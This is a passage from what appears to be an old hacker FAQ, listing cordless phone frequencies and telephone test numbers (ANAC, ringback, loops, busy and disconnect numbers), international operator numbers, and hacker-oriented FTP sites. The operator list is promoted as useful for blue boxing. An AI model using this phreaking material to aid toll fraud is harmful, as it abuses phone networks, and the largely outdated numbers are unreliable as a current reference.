32  903.030  927.030    42  903.330  927.330    52  903.630 927.630
33  903.060  927.060    43  903.360  927.360    53  903.660 927.660
34  903.090  927.090    44  903.390  927.390    54  903.690 927.690
35  903.120  927.120    45  903.420  927.420    55  903.720 927.720
36  903.150  927.150    46  903.450  927.450    56  903.750 927.750
37  903.180  927.180    47  903.480  927.480    57  903.780 927.780
38  903.210  927.210    48  903.510  927.510    58  903.810 927.810
39  903.240  927.240    49  903.540  927.540    59  903.840 927.840
40  903.270  927.270    50  903.570  927.570    60  903.870 927.870

V-TECH TROPEZ DX900 (20 CHANNELS) 
905.6 - 907.5   TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)
925.5 - 927.4   HANDSET FREQUENCIES 

CH   BASE    HANDSET    CH   BASE    HANDSET    CH   BASE   HANDSET
~~   ~~~~    ~~~~~~~    ~~   ~~~~    ~~~~~~~    ~~   ~~~~   ~~~~~~~
01  905.600  925.500    08  906.300  926.200    15  907.000 926.900
02  905.700  925.600    09  906.400  926.300    16  907.100 927.000
03  905.800  925.700    10  906.500  926.400    17  907.200 927.100
04  905.900  925.800    11  906.600  926.500    18  907.300 927.200
05  906.000  925.900    12  906.700  926.600    19  907.400 927.300
06  906.100  926.000    13  906.800  926.700    20  907.500 927.400
07  906.200  926.100    14  906.900  926.800 

Other 900mhz cordless phones
AT&T #9120  - - - - - 902.0 - 905.0 & 925.0 - 928.0 MHZ
OTRON CORP. #CP-1000  902.1 - 903.9 & 926.1 - 927.9 MHZ
SAMSUNG #SP-R912- - - 903.0         &         927.0 MHZ

------------------------------

Subject: 9.  Phone Number Lists


01. What is the ANAC number for my area?

How to find your ANAC number:
Look up your NPA (Area Code) and try the number listed for it. If that fails, 
try 1 plus the number listed for it.  If that fails, try the common numbers 
like 311, 958 and 200-222-2222.  If you find the ANAC number for your area, 
please let us know.

Note that many times the ANAC number will vary for different switches in the 
same city.  The geographic naming on the list is NOT intended to be an
accurate reference for coverage patterns, it is for convenience only.

Many companies operate 800 number services which will read back to you the 
number from which you are calling.  Many of these require navigating a series 
of menus to get the phone number you are looking for.  Please use local ANAC 
numbers if you can, as overuse or abuse can kill 800 ANAC numbers.

(800)425-6256   VRS Billing Systems/Integretel (800)4BLOCKME
(800)568-3197   Info Access Telephone Company's Automated Blocking Line
(800)692-6447   (800)MY-ANI-IS  (Now protected by a passcode!)
(800)858-9857   AT&T True Rewards

A non-800 ANAC that works nationwide is 404-988-9664.  The one catch with this

number is that it must be dialed with the AT&T Carrier Access Code 10732.  Use

of this number does not appear to be billed.

Note: These geographic areas are for reference purposes only.  ANAC numbers
may vary from switch to switch within the same city.

  NPA  ANAC number      Approximate Geographic area
  ~~~  ~~~~ ~~~~~~      ~~~~~~~~~~~~~~~~~~~~~~~~~~~
201  958              Hackensack/Jersey City/Newark/Paterson, NJ
202  811              District of Columbia
203  970              CT
205  300-222-2222     Birmingham, AL
205  300-555-5555     Many small towns in AL
205  300-648-1111     Dora, AL
205  300-765-4321     Bessemer, AL
205  300-798-1111     Forestdale, AL
205  300-833-3333     Birmingham
205  557-2311         Birmingham, AL
205  811              Pell City/Cropwell/Lincoln, AL
205  841-1111         Tarrant, AL
205  908-222-2222     Birmingham, AL
206  411              WA (Not US West)
207  958              ME
209  830-2121         Stockton, CA
209  211-9779         Stockton, CA
210  830              Brownsville/Laredo/San Antonio, TX
210  951              Brownsville/Laredo/San Antonio, TX (GTE)
212  958              Manhattan, NY
213  114              Los Angeles, CA (GTE)
213  1223             Los Angeles, CA (Some 1AESS switches)
213  211-2345         Los Angeles, CA (English response)
213  211-2346         Los Angeles, CA (DTMF response)
213  760-2???         Los Angeles, CA (DMS switches)
213  61056            Los Angeles, CA
214  570              Dallas, TX
214  790              Dallas, TX (GTE)
214  970-222-2222     Dallas, TX
214  970-611-1111     Dallas, TX (Southwestern Bell)
215  410-xxxx         Philadelphia, PA
215  511              Philadelphia, PA
215  958              Philadelphia, PA
216  200-XXXX         Akron/Canton/Cleveland/Lorain/Youngstown, OH
216  331              Akron/Canton/Cleveland/Lorain/Youngstown, OH
216  959-9892         Akron/Canton/Cleveland/Lorain/Youngstown, OH
217  200-xxx-xxxx     Champaign-Urbana/Springfield, IL
219  550              Gary/Hammond/Michigan City/Southbend, IN
219  559              Gary/Hammond/Michigan City/Southbend, IN
301  2002006969       Hagerstown/Rockville, MD
301  958-9968         Hagerstown/Rockville, MD
303  958              Aspen/Boulder/Denver/Durango/Grand Junction
                       /Steamboat Springs, CO
305  200-555-1212     Ft. Lauderdale/Key West/Miami, FL
305  200200200200200  Ft. Lauderdale/Key West/Miami, FL
305  780-2411         Ft. Lauderdale/Key West/Miami, FL
310  114              Long Beach, CA (On many GTE switches)
310  1223             Long Beach, CA (Some 1AESS switches)
310  211-2345         Long Beach, CA (English response)
310  211-2346         Long Beach, CA (DTMF response)
312  200              Chicago, IL
312  290              Chicago, IL
312  1-200-8825       Chicago, IL (Last four change rapidly)
312  1-200-555-1212   Chicago, IL
313  200-200-2002     Ann Arbor/Dearborn/Detroit, MI
313  200-222-2222     Ann Arbor/Dearborn/Detroit, MI
313  200-xxx-xxxx     Ann Arbor/Dearborn/Detroit, MI
313  200200200200200  Ann Arbor/Dearborn/Detroit, MI
314  410-xxxx#        Columbia/Jefferson City/St.Louis, MO
315  953              Syracuse/Utica, NY
315  958              Syracuse/Utica, NY
315  998              Syracuse/Utica, NY
317  310-222-2222     Indianapolis/Kokomo, IN
317  559-222-2222     Indianapolis/Kokomo, IN
317  743-1218         Indianapolis/Kokomo, IN
334  5572411          Montgomery, AL
334 5572311           Montgomery, AL
401  200-200-4444     RI
401  222-2222         RI
402  311              Lincoln, NE
404  311              Atlanta, GA
770  780-2311         Atlanta, GA
404  940-xxx-xxxx     Atlanta, GA
404  990              Atlanta, GA
405  890-7777777      Enid/Oklahoma City, OK
405  897              Enid/Oklahoma City, OK
407  200-222-2222     Orlando/West Palm Beach, FL (Bell South)
407  520-3111         Orlando/West Palm Beach, FL (United)
408  300-xxx-xxxx     San Jose, CA
408  760              San Jose, CA
408  940              San Jose, CA
409  951              Beaumont/Galveston, TX
409  970-xxxx         Beaumont/Galveston, TX
410  200-6969         Annapolis/Baltimore, MD
410  200-200-6969     Annapolis/Baltimore, MD
410  200-555-1212     Annapolis/Baltimore, MD
410  811              Annapolis/Baltimore, MD
412  711-6633         Pittsburgh, PA
412  711-4411         Pittsburgh, PA
412  999-xxxx         Pittsburgh, PA
413  958              Pittsfield/Springfield, MA
413  200-555-5555     Pittsfield/Springfield, MA
414  330-2234         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  200-555-1212     San Francisco, CA
415  211-2111         San Francisco, CA
415  2222             San Francisco, CA
415  640              San Francisco, CA
415  760-2878         San Francisco, CA
415  7600-2222        San Francisco, CA
419  311              Toledo, OH
423  200-200-200      Chatanooga, Johnson City, Knoxville , TN
501  511              AR
502  2002222222       Frankfort/Louisville/Paducah/Shelbyville, KY
502  997-555-1212     Frankfort/Louisville/Paducah/Shelbyville, KY
503  611              Portland, OR
503  999              Portland, OR (GTE)
504  99882233         Baton Rouge/New Orleans, LA
504  201-269-1111     Baton Rouge/New Orleans, LA
504  998              Baton Rouge/New Orleans, LA
504  99851-0000000000 Baton Rouge/New Orleans, LA
508  958              Fall River/New Bedford/Worchester, MA
508  200-222-1234     Fall River/New Bedford/Worchester, MA
508  200-222-2222     Fall River/New Bedford/Worchester, MA
508  26011            Fall River/New Bedford/Worchester, MA
509  560              Spokane/Walla Walla/Yakima, WA
510  760-1111         Oakland, CA
512  830              Austin/Corpus Christi, TX
512  970-xxxx         Austin/Corpus Christi, TX
513  380-55555555     Cincinnati/Dayton, OH
515  5463             Des Moines, IA
515  811              Des Moines, IA
516  958              Hempstead/Long Island, NY
516  968              Hempstead/Long Island, NY
517  200-222-2222     Bay City/Jackson/Lansing, MI
517  200200200200200  Bay City/Jackson/Lansing, MI
518  511              Albany/Schenectady/Troy, NY
518  997              Albany/Schenectady/Troy, NY
518  998              Albany/Schenectady/Troy, NY
540  211              Roanoke, VA (GTE)
540  311              Roanoke, VA (GTE)
541  200              Bend, OR
603  200-222-2222     NH
606  997-555-1212     Ashland/Winchester, KY
606  711              Ashland/Winchester, KY
607  993              Binghamton/Elmira, NY
609  958              Atlantic City/Camden/Trenton/Vineland, NJ
610  958              Allentown/Reading, PA
610  958-4100         Allentown/Reading, PA
612  511              Minneapolis/St.Paul, MN
614  200              Columbus/Steubenville, OH
614  571              Columbus/Steubenville, OH
615  200200200200200  Chatanooga/Knoxville/Nashville, TN
615  2002222222       Chatanooga/Knoxville/Nashville, TN
615  830              Nashville, TN
616  200-222-2222     Battle Creek/Grand Rapids/Kalamazoo, MI
617  200-222-1234     Boston, MA
617  200-222-2222     Boston, MA
617  200-444-4444     Boston, MA (Woburn, MA)
617  220-2622         Boston, MA
617  958              Boston, MA
618  200-xxx-xxxx     Alton/Cairo/Mt.Vernon, IL
618  930              Alton/Cairo/Mt.Vernon, IL
619  211-2001         San Diego, CA
619  211-2121         San Diego, CA
659  220-2622         Newmarket, NH
703  211              VA
703  511-3636         Culpeper/Orange/Fredericksburg, VA
703  811              Alexandria/Arlington/Roanoke, VA
704  311              Asheville/Charlotte, NC
706  940-xxxx         Augusta, GA
707  211-2222         Eureka, CA
708  1-200-555-1212   Chicago/Elgin, IL
708  1-200-8825       Chicago/Elgin, IL (Last four change rapidly)
708  200-6153         Chicago/Elgin, IL
708  724-9951         Chicago/Elgin, IL
713  380              Houston, TX
713  970-xxxx         Houston, TX
713  811              Humble, TX
713  380-5555-5555    Houston, TX
714  114              Anaheim, CA (GTE)
714  211-2121         Anaheim, CA (PacBell)
714  211-2222         Anaheim, CA (Pacbell)
714  211-7777         Anaheim, CA (Pacbell)
716  511           Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
716  990           Buffalo/Niagara Falls/Rochester, NY (Rochester Tel)
717  958              Harrisburg/Scranton/Wilkes-Barre, PA
718  958              Bronx/Brooklyn/Queens/Staten Island, NY
770  940-xxx-xxxx     Marietta/Norcross, GA
770  780-2311         Marietta/Norcross, GA
802  2-222-222-2222   Vermont
802  200-222-2222     Vermont
802  1-700-222-2222   Vermont
802  111-2222         Vermont
804 990               Virginia Beach, VA
805  114              Bakersfield/Santa Barbara, CA
805  211-2345         Bakersfield/Santa Barbara, CA
805  211-2346         Bakersfield/Santa Barbara, CA (Returns DTMF)
805  830              Bakersfield/Santa Barbara, CA
806  970-xxxx         Amarillo/Lubbock, TX
810  200200200200200  Flint/Pontiac/Southfield/Troy, MI
810  311              Pontiac/Southfield/Troy, MI
812  410-555-1212     Evansville, IN
813  311              Ft. Meyers/St. Petersburg/Tampa, FL
815  200-3374         Crystal Lake, IL
815  270-3374         Crystal Lake, IL
815  770-3374         Crystal Lake, IL
815  200-xxx-xxxx     La Salle/Rockford, IL
815  290              La Salle/Rockford, IL
817  211              Ft. Worth/Waco, TX
817  970-611-1111     Ft. Worth/Waco, TX  (Southwestern Bell)
818  1223             Pasadena, CA (Some 1AESS switches)
818  211-2345         Pasadena, CA (English response)
818  211-2346         Pasadena, CA (DTMF response)
860  970              CT
903  970-611-1111     Tyler, TX
904  200-222-222      Jackonsville/Pensacola/Tallahasee, FL
906  1-200-222-2222   Marquette/Sault Ste. Marie, MI
907  811              AK
908  958              New Brunswick, NJ
909  111              Riverside/San Bernardino, CA (GTE)
910  200             Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  311             Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
910  988             Fayetteville/Greensboro/Raleigh/Winston-Salem, NC
914  990-1111         Peekskill/Poughkeepsie/White Plains/Yonkers, NY
915  970-xxxx         Abilene/El Paso, TX
916  211-0007         Sacramento, CA (Pac Bell)
916  461              Sacramento, CA (Roseville Telephone)
919  200              Durham, NC
919  711              Durham, NC
954  200-555-1212     Ft. Lauderdale, FL
954  200200200200200  Ft. Lauderdale, FL
954  780-2411         Ft. Lauderdale, FL

  Canada:
204  644-4444         Manitoba
306  115              Saskatchewan
403  311              Alberta, Yukon and N.W. Territory
403  908-222-2222     Alberta, Yukon and N.W. Territory
403  999              Alberta, Yukon and N.W. Territory
416  997-xxxx         Toronto, Ontario
506  1-555-1313       New Brunswick
514  320-xxxx         Montreal, Quebec
514  320-1232         Montreal, Quebec
514  320-1223         Montreal, Quebec
514  320-1233         Montreal, Quebec
519  320-xxxx         London, Ontario
604  1116             British Columbia
604  1211             British Columbia
604  211              British Columbia
613  320-2232         Ottawa, Ontario
705  320-4567         North Bay/Saulte Ste. Marie, Ontario
819  320-1112         Quebec

  Australia:
+61  03-552-4111      Victoria 03 area
+612 19123            All major capital cities
+612 11544

  United Kingdom:
175

  Israel:
110


02. What is the ringback number for my area?

An 'x' means insert those numbers from the phone number from which you are 
calling.  A '?' means that the number varies from switch to switch in the
area, or changes from time to time.  Try all possible combinations.

If the ringback for your NPA is not listed, try common ones such as 114, 
951-xxx-xxxx, 954, 957 and 958.  Also, try using the numbers listed for other 
NPA's served by your telephone company.

Note: These geographic areas are for reference purposes only.  Ringback
numbers may vary from switch to switch within the same city.

  NPA  Ringback number  Approximate Geographic area
  ~~~  ~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~~~~~~~~~~~~~~
201  55?-xxxx         Hackensack/Jersey City/Newark/Paterson, NJ
202  958-xxxx         District of Columbia
203  99?-xxxx         CT
206  571-xxxx         WA
208  59X-xxxx         ID
208  99xxx-xxxx       ID
210  211-8849-xxxx    Brownsville/Laredo/San Antonio, TX (GTE)
213  1-95x-xxxx       Los Angeles, CA
214  971-xxxx         Dallas, TX
215  811-xxxx         Philadelphia, PA
216  551-xxxx         Akron/Canton/Cleveland/Lorain/Youngstown, OH
219  571-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
219  777-xxx-xxxx     Gary/Hammond/Michigan City/Southbend, IN
301  579-xxxx         Hagerstown/Rockville, MD
301  958-xxxx         Hagerstown/Rockville, MD
303  99X-xxxx         Grand Junction, CO
304  998-xxxx         WV
305  999-xxxx         Ft. Lauderdale/Key West/Miami, FL
312  511-xxxx         Chicago, IL
312  511-xxx-xxxx     Chicago, IL
312  57?-xxxx         Chicago, IL
315  98x-xxxx         Syracuse/Utica, NY
317  777-xxxx         Indianapolis/Kokomo, IN
317  yyy-xxxx    Indianapolis/Kokomo, IN (y=3rd digit of phone number)
319  79x-xxxx         Davenport/Dubuque, Iowa
334  901-xxxx         Montgomery, AL
401  98?-xxxx         RI
404  450-xxxx         Atlanta, GA
407  988-xxxx         Orlando/West Palm Beach, FL
408  470-xxxx         San Jose, CA
408  580-xxxx         San Jose, CA
412  985-xxxx         Pittsburgh, PA
414  977-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
414  978-xxxx         Fond du Lac/Green Bay/Milwaukee/Racine, WI
415  350-xxxx         San Francisco, CA
417  551-xxxx         Joplin/Springfield, MO
501  221-xxx-xxxx     AR
501  721-xxx-xxxx     AR
502  988              Frankfort/Louisville/Paducah/Shelbyville, KY
503  541-XXXX         OR
504  99x-xxxx         Baton Rouge/New Orleans, LA
504  9988776655       Baton Rouge/New Orleans, LA
505  59?-xxxx         New Mexico
512  95X-xxxx         Austin, TX
513  951-xxxx         Cincinnati/Dayton, OH
513  955-xxxx         Cincinnati/Dayton, OH
513  99?-xxxx         Cincinnati/Dayton, OH (X=0, 1, 2, 3, 4, 8 or 9)
515  559-XXXX         Des Moines, IA
516  660-xxx-xxxx     Hempstead/Long Island, NY
601  777-xxxx         MS
609  55?-xxxx         Atlantic City/Camden/Trenton/Vineland, NJ
610  811-xxxx         Allentown/Reading, PA
612  511              Minneapolis/St.Paul, MN
612  999-xxx-xxxx     Minneapolis/St.Paul, MN
613  999-xxx-xxxx     Ottawa, Ontario
614  998-xxxx         Columbus/Steubenville, OH
615  920-XXXX         Chatanooga/Knoxville/Nashville, TN
615  930-xxxx         Chatanooga/Knoxville/Nashville, TN
616  946-xxxx         Battle Creek/Grand Rapids/Kalamazoo, MI
619  331-xxxx         San Diego, CA
619  332-xxxx         San Diego, CA
659  981-XXXX         Newmarket, NH
703  511-xxx-xxxx     VA
703  958-xxxx         Alexandria/Arlington/Roanoke, VA
708  511-xxxx         Chicago/Elgin, IL
713  231-xxxx         Los Angeles, CA
714  330?             Anaheim, CA (GTE)
714  33?-xxxx         Anaheim, CA (PacBell)
716  981-xxxx         Rochester, NY (Rochester Tel)
718  660-xxxx         Bronx/Brooklyn/Queens/Staten Island, NY
719  99x-xxxx         Colorado Springs/Leadville/Pueblo, CO
801  938-xxxx         Utah
801  939-xxxx         Utah
802  987-xxxx         Vermont
804  260              Charlottesville/Newport News/Norfolk/Richmond, VA
805  114              Bakersfield/Santa Barbara, CA
805  980-xxxx         Bakersfield/Santa Barbara, CA
810  951-xxx-xxxx     Pontiac/Southfield/Troy, MI
813  711              Ft. Meyers/St. Petersburg/Tampa, FL
817  971              Ft. Worth/Waco, TX (Flashhook, then 2#)
906  951-xxx-xxxx     Marquette/Sault Ste. Marie, MI
908  55?-xxxx         New Brunswick, NJ
908  953              New Brunswick, NJ
913  951-xxxx         Lawrence/Salina/Topeka, KS
914  660-xxxx-xxxx    Peekskill/Poughkeepsie/White Plains/Yonkers, NY

  Canada:
204  590-xxx-xxxx     Manitoba
416  57x-xxxx         Toronto, Ontario
416  99x-xxxx         Toronto, Ontario
416  999-xxx-xxxx     Toronto, Ontario
506  572+xxx-xxxx     New Brunswick
514  320-xxx-xxxx     Montreal, Quebec
519  999-xxx-xxxx     London, Ontario
604  311-xxx-xxxx     British Columbia
613  999-xxx-xxxx     Ottawa, Ontario
705  999-xxx-xxxx     North Bay/Saulte Ste. Marie, Ontario
819  320-xxx-xxxx     Quebec
905  999-xxx-xxxx     Hamilton/Mississauga/Niagra Falls, Ontario

  Australia:            +61 199

  Brazil:               109 or 199

  France:               3644

  Holland:              99-xxxxxx

  New Zealand:          137

  Sweden:               0058

  United Kingdom:       174 or 1744 or 175 or 0500-89-0011

  Amsterdam             0196

  Hilversum             0123456789

  Breukelen             0123456789

  Groningen             951


03. What is a loop in my area?

Many of these loops are no longer functional.  If you are local to any of
these loops, please try them out an e-mail me the results of your research.

NPA    High      Low
~~~    ~~~~      ~~~
201  666-9929  666-9930
208  862-9996  862-9997
209  732-0044  732-0045
201  666-9929  666-9930
213  360-1118  360-1119
213  365-1118  365-1119
213  455-0002  455-XXXX
213  455-0002  455-xxxx
213  546-0002  546-XXXX
213  546-0002  546-xxxx
213  549-1118  549-1119
305  964-9951  964-9952
307  468-9999  468-9998
308  357-0004  357-0005
312  262-9902  262-9903
313  224-9996  224-9997
313  225-9996  225-9997
313  234-9996  234-9997
313  237-9996  237-9997
313  256-9996  256-9997
313  272-9996  272-9997
313  273-9996  273-9997
313  277-9996  277-9997
313  281-9996  281-9997
313  292-9996  292-9997
313  299-9996  299-9997
313  321-9996  321-9997
313  326-9996  326-9997
313  356-9996  356-9997
313  362-9996  362-9997
313  369-9996  369-9997
313  388-9996  388-9997
313  397-9996  397-9997
313  399-9996  399-9997
313  445-9996  445-9997
313  465-9996  465-9997
313  471-9996  471-9997
313  474-9996  474-9997
313  477-9996  477-9997
313  478-9996  478-9997
313  483-9996  483-9997
313  497-9996  497-9997
313  526-9996  526-9997
313  552-9996  552-9997
313  556-9996  556-9997
313  561-9996  561-9997
313  569-9996  569-9996
313  575-9996  575-9997
313  577-9996  577-9997
313  585-9996  585-9997
313  591-9996  591-9997
313  621-9996  621-9997
313  626-9996  626-9997
313  644-9996  644-9997
313  646-9996  646-9997
313  647-9996  647-9997
313  649-9996  649-9997
313  663-9996  663-9997
313  665-9996  665-9997
313  683-9996  683-9997
313  721-9996  721-9997
313  722-9996  722-9997
313  728-9996  728-9997
313  731-9996  731-9997
313  751-9996  751-9997
313  776-9996  776-9997
313  781-9996  781-9997
313  787-9996  787-9997
313  822-9996  822-9997
313  833-9996  833-9997
313  851-9996  851-9997
313  871-9996  871-9997
313  875-9996  875-9997
313  886-9996  886-9997
313  888-9996  888-9997
313  898-9996  898-9997
313  934-9996  934-9997
313  942-9996  942-9997
313  963-9996  963-9997
313  977-9996  977-9997
315  673-9995  673-9996
315  695-9995  695-9996
402  422-0001  422-0002
402  422-0003  422-0004
402  422-0005  422-0006
402  422-0007  422-0008
402  572-0003  572-0004
402  779-0004  779-0007
406  225-9902  225-9903
408  238-0044  238-0045
408  272-0044  272-0045
408  729-0044  729-0045
408  773-0044  773-0045
408  926-0044  926-0045
517  422-9996  422-9997
517  423-9996  423-9997
517  455-9996  455-9997
517  563-9996  563-9997
517  663-9996  663-9997
517  851-9996  851-9997
609  921-9929  921-9930
609  994-9929  994-9930
613            966-1111
616  997-9996  997-9997
708  724-9951  724-????
713  224-1499  759-1799
713  324-1499  324-1799
713  342-1499  342-1799
713  351-1499  351-1799
713  354-1499  354-1799
713  356-1499  356-1799
713  442-1499  442-1799
713  447-1499  447-1799
713  455-1499  455-1799
713  458-1499  458-1799
713  462-1499  462-1799
713  466-1499  466-1799
713  468-1499  468-1799
713  469-1499  469-1799
713  471-1499  471-1799
713  481-1499  481-1799
713  482-1499  482-1799
713  484-1499  484-1799
713  487-1499  487-1799
713  489-1499  489-1799
713  492-1499  492-1799
713  493-1499  493-1799
713  524-1499  524-1799
713  526-1499  526-1799
713  555-1499  555-1799
713  661-1499  661-1799
713  664-1499  664-1799
713  665-1499  665-1799
713  666-1499  666-1799
713  667-1499  667-1799
713  682-1499  976-1799
713  771-1499  771-1799
713  780-1499  780-1799
713  781-1499  997-1799
713  960-1499  960-1799
713  977-1499  977-1799
713  988-1499  988-1799
719  598-0009  598-0010
805  528-0044  528-0045
805  544-0044  544-0045
805  773-0044  773-0045
808  235-9907  235-9908
808  239-9907  239-9908
808  245-9907  245-9908
808  247-9907  247-9908
808  261-9907  261-9908
808  322-9907  322-9908
808  328-9907  328-9908
808  329-9907  329-9908
808  332-9907  332-9908
808  335-9907  335-9908
808  572-9907  572-9908
808  623-9907  623-9908
808  624-9907  624-9908
808  668-9907  668-9908
808  742-9907  742-9908
808  879-9907  879-9908
808  882-9907  882-9908
808  885-9907  885-9908
808  959-9907  959-9908
808  961-9907  961-9908
810  362-9996  362-9997
813  385-9971  385-xxxx
908  254-9929  254-9930
908  558-9929  558-9930
908  560-9929  560-9930
908  776-9930  776-9930


04. What is the telephone company CNA number for my area?

203    (203)771-8080         CT
312    (312)796-9600         Chicago, IL
506    (506)555-1313         New Brunswick
513    (513)397-9110         Cincinnati/Dayton, OH
516    (516)321-5700         Hempstead/Long Island, NY
614    (614)464-0123         Columbus/Steubenville, OH
813    (813)270-8711         Ft. Meyers/St. Petersburg/Tampa, FL
NYNEX  (518)471-8111         New York, Connecticut, Vermont, Rhode
                              Island, New Hampshire, and Massachusetts


05. What are some numbers that always ring busy?

In the following listings, "xxx" means that the same number is used as a 
constantly busy number in many different prefixes.  In most of these, there
are some exchanges that ring busy and some exchanges that are in normal use.  
*ALWAYS* test these numbers at least three times during normal business hours 
before using as a constantly busy number.

800  999-1803             WATS
201  635-9970             Hackensack/Jersey City/Newark/Paterson, NJ
212  724-9970             Manhattan, NY
213  xxx-1117             Los Angeles, CA
213  xxx-1118             Los Angeles, CA
213  xxx-1119             Los Angeles, CA
213  xxx-9198             Los Angeles, CA
216  xxx-9887             Akron/Canton/Cleveland/Lorain/Youngstown, OH
303  431-0000             Denver, CO
303  866-8660             Denver, CO
310  xxx-1117             Long Beach, CA
310  xxx-1118             Long Beach, CA
310  xxx-1119             Long Beach, CA
310  xxx-9198             Long Beach, CA
316  952-7265             Dodge City/Wichita, KS
501  377-99xx             AR
719  472-3772             Colorado Springs/Leadville/Pueblo, CO
805  255-0699             Bakersfield/Santa Barbara, CA
714  xxx-1117             Anaheim, CA
714  xxx-1118             Anaheim, CA
714  xxx-1119             Anaheim, CA
714  xxx-9198             Anaheim, CA
717  292-0009             Harrisburg/Scranton/Wilkes-Barre, PA
818  xxx-1117             Pasadena, CA
818  xxx-1118             Pasadena, CA
818  xxx-1119             Pasadena, CA
818  xxx-9198             Pasadena, CA
818  885-0699             Pasadena, CA  (???-0699 is a pattern)
860  525-7078             Hartford, CT
906  632-9999             Marquette/Sault Ste. Marie, MI
906  635-9999             Marquette/Sault Ste. Marie, MI


06. What are some numbers that temporarily disconnect phone service?

  If your NPA is not listed, or the listing does not cover your LATA,
  try common numbers such as 119 (GTD5 switches) or 511.

314  511        Columbia/Jefferson City/St.Louis, MO       (1 min)
404  420        Atlanta, GA                                (5 min)
405  953        Enid/Oklahoma City, OK                     (1 min)
407  511        Orlando, FL (United Telephone)             (1 min)
414 958-0013    Fond du Lac/Green Bay/Milwaukee/Racine, WI (1 min)
512  200        Austin/Corpus Christi, TX                  (1 min)
516  480        Hempstead/Long Island, NY                  (1 min)
603  980        NH
614  xxx-9894   Columbus/Steubenville, OH
805  119        Bakersfield/Santa Barbara, CA              (3 min)
919  211 or 511 Durham, NC                           (10 min-1 hr)


07. What is a Proctor Test Set in my area?

  If your NPA is not listed try common numbers such as 111 or 117.

805  111        Bakersfield/Santa Barbara, CA
909  117        Tyler, TX
913  611-1111   Lawrence/Salina/Topeka, KS


08. What are the International Direct Numbers?  The numbers are used so that 
you may connect to an operator from a foreign telephone network, without 
incurring long distance charges.  These numbers may be useful in blue boxing, 
as many countries still have older switching equipment in use.

  Australia         (800)682-2878
  Austria           (800)624-0043
  Belgium           (800)472-0032
  Belize            (800)235-1154
  Bermuda           (800)232-2067
  Brazil            (800)344-1055
  British VI        (800)278-6585
  Cayman            (800)852-3653
  Chile             (800)552-0056
  China (Shanghai)  (800)532-4462
  Costa Rica        (800)252-5114
  Denmark           (800)762-0045
  El Salvador       (800)422-2425
  Finland           (800)232-0358
  France            (800)537-2623
  Germany           (800)292-0049
  Greece            (800)443-5527
  Guam              (800)367-4826
  HK                (800)992-2323
  Hungary           (800)352-9469
  Indonesia         (800)242-4757
  Ireland           (800)562-6262
  Italy             (800)543-7662
  Japan             (800)543-0051
  Korea             (800)822-8256
  Macau             (800)622-2821
  Malaysia          (800)772-7369
  Netherlands       (800)432-0031
  Norway            (800)292-0047
  New Zealand       (800)248-0064
  Panama            (800)872-6106
  Portugal          (800)822-2776
  Philippines       (800)336-7445
  Singapore         (800)822-6588
  Spain             (800)247-7246
  Sweden            (800)345-0046
  Taiwan            (800)626-0979
  Thailand          (800)342-0066
  Turkey            (800)828-2646
  UK                (800)445-5667
  Uruguay           (800)245-8411
  Yugoslavia        (800)367-9842 (Belgrade)
                         367-9841 (Zagreb)
  USA from outside  (800)874-4000  Ext. 107

------------------------------

Subject: 1.  Introduction and Intent

As above

------------------------------

Subject: 2.  Table of Contents


Subject 1: Introduction and Intent

Subject 2: Table of Contents

Subject 3: Resources
X01. What are some ftp sites of interest to hackers?
J02. What are some fsp sites of interest to hackers?
J03. What are some newsgroups of interest to hackers?
X04. What are some telnet sites of interest to hackers?
X05. What are some gopher sites of interest to hackers?
X06. What are some World wide Web (WWW) sites of interest to hackers?
07. What are some IRC channels of interest to hackers?
08. What are some BBS's of interest to hackers?
X09. What are some books of interest to hackers?
X10. What are some videos of interest to hackers?
J11. What are some mailing lists of interest to hackers?
12. What are some print magazines of interest to hackers?
13. What are some e-zines of interest to hackers?
14. What are some organizations of interest to hackers?
15. What are some radio programs of interest to hackers?
X16. What are other FAQ's of interest to hackers?
X17. Where can I purchase a magnetic stripe encoder/decoder?
18. What are the rainbow books and how can I get them?

------------------------------

Subject: 3.  Resources


01. What are some ftp sites of interest to hackers?

204.215.84.2            /pub/dmackey
aeneas.mit.edu                                         (Kerberos)
alex.sp.cs.cmu.edu      /links/security                (Misc)
asylum.sf.ca.us                             (CyberWarriors of Xanadu)
athena-dist.mit.edu     /pub/ATHENA                    (Athena Project)
atlantis.utmb.edu                                      (Anti-virus)
bellcore.com                                           (Bellcore)
cert.org                                               (CERT)
ciac.llnl.gov                                          (CIAC)
clark.net               /pub/jcase                     (H/P)
cnit.nsk.su             /pub/security                  (Security)
coast.cs.purdue.edu     /pub                           (Security/COAST)
coombs.anu.edu.au       /pub/security                  (Security)
csrc.ncsl.nist.gov                                     (NIST Security)
dartmouth.edu           /pub/security                  (Security)
ds.internic.net                                    (Internet documents)
dutiws.twi.tudelft.nl   /pub/novell
etext.archive.umich.edu /pub/Zines/PrivateLine         (PrivateLine)
fastlane.net            /pub/nomad
ftp.3com.com            /pub/Orange-Book               (Orange Book)
ftp.acns.nwu.edu        /pub                           (Mac Anti-virus)
ftp.acsu.buffalo.edu    /pub/security & /pub/irc       (Security & IRC)
ftp.alantec.com         /pub/tcpr                      (Tcpr)
ftp.armory.com          /pub/user/kmartind             (H/P)
ftp.armory.com          /pub/user/swallow              (H/P)
ftp.auscert.org.au      /pub                          (Australian CERT)
ftp.cerf.net            /pub/software/unix/security    (CERFnet)
ftp.cert.dfn.de                                        (FIRST)
ftp.cisco.com                                          (Cisco)
ftp.commerce.net     /pub/standards/drafts/shttp.txt (Secure HyperText)
ftp.cs.colorado.edu
ftp.cs.ruu.nl           /pub/SECURITY                  (Security & PGP)
ftp.cs.uwm.edu          /pub/comp-privacy              (Privacy Digest)
ftp.cs.vu.nl
ftp.cs.yale.edu
ftp.csi.forth.gr        /pub/security
ftp.csl.sri.com         /pub/nides                     (SRI)
ftp.csn.org /mpj                                       (Cryptology)
ftp.csua.berkeley.edu   /pub/cypherpunks               (Crypto)
ftp.delmarva.com
ftp.demon.co.uk         /pub/misc/0800num.txt       (0800/0500 numbers)
ftp.denet.dk            /pub/security/tools/satan
ftp.digex.net           /pub/access/dunk
ftp.dsi.unimi.it        /pub/security/crypt            (Crypto)
ftp.dstc.edu.au         /pub/security/satan
